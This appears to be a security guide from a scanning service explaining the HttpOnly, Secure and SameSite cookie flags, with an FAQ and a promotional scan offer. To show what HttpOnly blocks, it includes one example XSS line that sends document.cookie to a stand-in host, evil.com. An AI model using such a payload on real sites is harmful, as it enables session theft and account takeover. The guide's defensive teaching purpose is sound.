The short version
Cookies carry sensitive data, usually session tokens that prove a user is logged in. Three flags control how secure those cookies are: HttpOnly, Secure, and SameSite. If you're not setting all three, your cookies are more vulnerable than they need to be.
HttpOnly: block JavaScript access
When you set a cookie with the HttpOnly flag, JavaScript on the page cannot read it through document.cookie. The cookie is still sent with HTTP requests, but it's invisible to scripts.
Why does this matter? If an attacker finds an XSS vulnerability on your site, one of the first things they'll try is:
// Steal session cookie
fetch('https://evil.com/steal?cookie=' + document.cookie);
If the session cookie has HttpOnly, this returns nothing. The attacker can't steal the session.
As the MDN Set-Cookie documentation explains, HttpOnly cookies are "inaccessible to the JavaScript Document.cookie API; they're only sent to the server."
Secure: HTTPS only
The Secure flag tells the browser: only send this cookie over HTTPS connections. Without it, the cookie travels over plain HTTP too, where anyone on the network can read it.
Set-Cookie: session=abc123; Secure
If your site runs on HTTPS (it should), always set the Secure flag on sensitive cookies.
SameSite: cross-site request control
SameSite controls whether the browser sends the cookie with requests that come from other sites. This is your primary defense against CSRF attacks.
Three options:
SameSite=Strict: The cookie is never sent with cross-site requests. If someone clicks a link to your site from another site, the cookie won't be included. Maximum security, but can be annoying if users expect to stay logged in when following links.
SameSite=Lax: The cookie is sent with top-level navigations (clicking a link) but not with cross-site POST requests, iframes, or AJAX calls. This is the default in modern browsers and a good balance.
SameSite=None: The cookie is sent with all requests, including cross-site. You must also set Secure when using None. Only use this if you genuinely need cross-site cookies (like for a third-party widget or OAuth flow).
Putting it all together
Here's what a properly secured session cookie looks like:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400
This cookie:
- Cannot be read by JavaScript (
HttpOnly) - Is only sent over HTTPS (
Secure) - Won't be sent with cross-site POST requests (
SameSite=Lax) - Is scoped to the entire site (
Path=/) - Expires in 24 hours (
Max-Age=86400)
The OWASP Session Management Cheat Sheet recommends all of these settings for session cookies.
Common mistakes
Not setting HttpOnly on session cookies. This is the most common one. The session token is the most valuable cookie, and it's the one that should always be HttpOnly.
Setting SameSite=None without Secure. Browsers will reject this combination. If you need SameSite=None, you must also set Secure.
Using cookies for data that should be in localStorage. Cookies are sent with every HTTP request, which adds overhead. Only use cookies for data the server needs (like session tokens). User preferences and UI state belong in localStorage.
Not setting an expiration. Without Max-Age or Expires, the cookie lasts until the browser is closed (a session cookie). For persistent logins, set a reasonable expiration. For sensitive sessions, keep it short.
How to check your cookies
Open your browser's DevTools, go to the Application tab (Chrome) or Storage tab (Firefox), and click Cookies. You'll see every cookie with its flags. Look for session-related cookies and check if HttpOnly, Secure, and SameSite are set.
Check your site
Want to know if your site has this issue? Scan it now and find out in 60 seconds.
Frequently Asked Questions
- What does HttpOnly do?
- The HttpOnly flag prevents JavaScript from reading the cookie. This means if an attacker finds an XSS vulnerability, they can't steal the session cookie using document.cookie.
- What does the Secure flag do?
- The Secure flag tells the browser to only send the cookie over HTTPS connections. Without it, the cookie can be sent over plain HTTP, where it can be intercepted.
- What is SameSite and which value should I use?
- SameSite controls whether cookies are sent with cross-site requests. Use Strict for maximum protection, Lax for a balance (allows top-level navigations), or None if you need cross-site cookies (requires Secure flag).
Your AI writes the code. We find what it missed.
Paste your URL. Security audit in 60 seconds.
Scan my app